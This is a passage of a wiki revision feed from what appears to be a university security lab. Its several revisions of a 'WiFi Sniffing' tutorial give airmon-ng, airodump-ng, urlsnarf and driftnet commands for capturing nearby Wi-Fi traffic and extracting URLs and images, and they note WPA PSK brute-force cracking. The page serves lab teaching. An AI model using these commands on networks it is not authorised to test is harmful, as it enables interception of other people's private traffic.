! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8235</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8235"/>
		<updated>2021-12-17T10:04:16Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8234</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8234"/>
		<updated>2021-12-17T10:02:14Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Prerequisites */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8233</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8233"/>
		<updated>2021-12-17T09:59:59Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*&lt;br /&gt;
*&lt;br /&gt;
*&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8232</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8232"/>
		<updated>2021-12-17T09:56:21Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8231</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8231"/>
		<updated>2021-12-17T09:56:03Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
